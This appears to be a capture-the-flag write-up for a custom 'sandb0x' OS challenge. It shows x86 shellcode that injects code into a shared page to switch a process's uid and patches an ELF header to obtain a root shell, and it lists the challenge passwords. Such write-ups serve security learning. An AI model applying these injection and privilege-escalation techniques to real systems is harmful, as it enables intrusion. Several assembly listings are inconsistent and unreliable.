You are tasked with logging into to the sandb0x
user with 4-letter password starting with p
. pwny
seems like a good guess.
They want us to call syscall 14 with any argument. We assemble mov eax, 14; int 0x80
to b80e000000cd80
.
After making a few syscalls, we see that the ecx
register gets filled with some 4MB aligned address. We add a mov ebx, 0x400000
to the previous assembly to obtain b80e000000bb00004000cd80
.
We first need some place to store strings. I discovered that the stack pointer during binexec
lies somewhere in the 0x08240000
region so we can use that.
Next we assemble and run the following and input /sandb0x/freaky_fds.txt
to store this string. The length 24
is the length of the string + 1. We need to do this otherwise we miss the final t
.
mov eax, 4
mov ebx, 0
mov ecx, 0x08240000
mov edx, 24
int 0x80
Now that the string is in memory we can open the file and get a file descriptor out in eax
.
mov eax, 2
mov ebx, 0x08240000
int 0x80
Read the file.
mov eax 4
mov ebx 1
mov ecx, 0x08240100
mov edx, 0x400
int 0x80
Close the file
mov eax 3
mov ebx 1
int 0x80
Open the file again, read it, and finally write to stdout.
mov eax 5
mov ebx 0
mov ecx, 0x08240100
mov edx, 0x400
int 0x80
The TLB deals with memory mapping and we have no way of communicating with the crazy_caches
process so we try reading out what is at the mmap address with mov eax, [0x0d048000]
, or a10080040d
, and we see eax = 0xc3c3c3c3
. Cool, so for some reason we have access to this page.
The psuedocode appears to run our code at 0x0d048400
when we set the uint32_t
at 0x0d048000
to 0xdeadcode
, and the most useful gadget here is REMOTE_SETUSER
to switch the uid of our rash
process. I assembled the following to and converted it to DWORDs for use in the shellcode we submit to binexec
.
mov eax, 12
mov ebx, 3
int 0x80
Here is the shellcode. Care needs to be taken for endianness.
mov eax, 0x0d048000
mov dword ptr [eax+0x400], 0x00000cb8
mov dword ptr [eax+0x404], 0x0003bb00
mov dword ptr [eax+0x408], 0x80cd0000
mov dword ptr [eax], 0xdeadc0de
Running the above immediately pops the flag and we just switched the UID of our rash
process.
The documentation focuses a lot on the page allocator and mentions how a smaller program will not overwrite pre-existing program data. We use a similar shellcode to read in /bin/rash
, the program we wish to escalate, and then we exec
it. This will also unmap the page, so we need to remap it with a call to mmap
. Reading some data from the mmap
'ed region we can see an ELF header. We set it to \x80ELF
to run as UID 0 in blocking mode.
Unfortunately we cannot unmap this page, and execing files from this state will cause the kernel to allocate a different page for the executable, so we quit binexec
and launch it again. We now attempt to exec
/users/.gitignore
, which is an empty file, which will preserve our edited rash
ELF data, giving us a root shell.
Interestingly enough if you wanted to try to cheese this challenge and guess the root
password it is not difficult. Within the user
shell you can su root
with password hunter2
.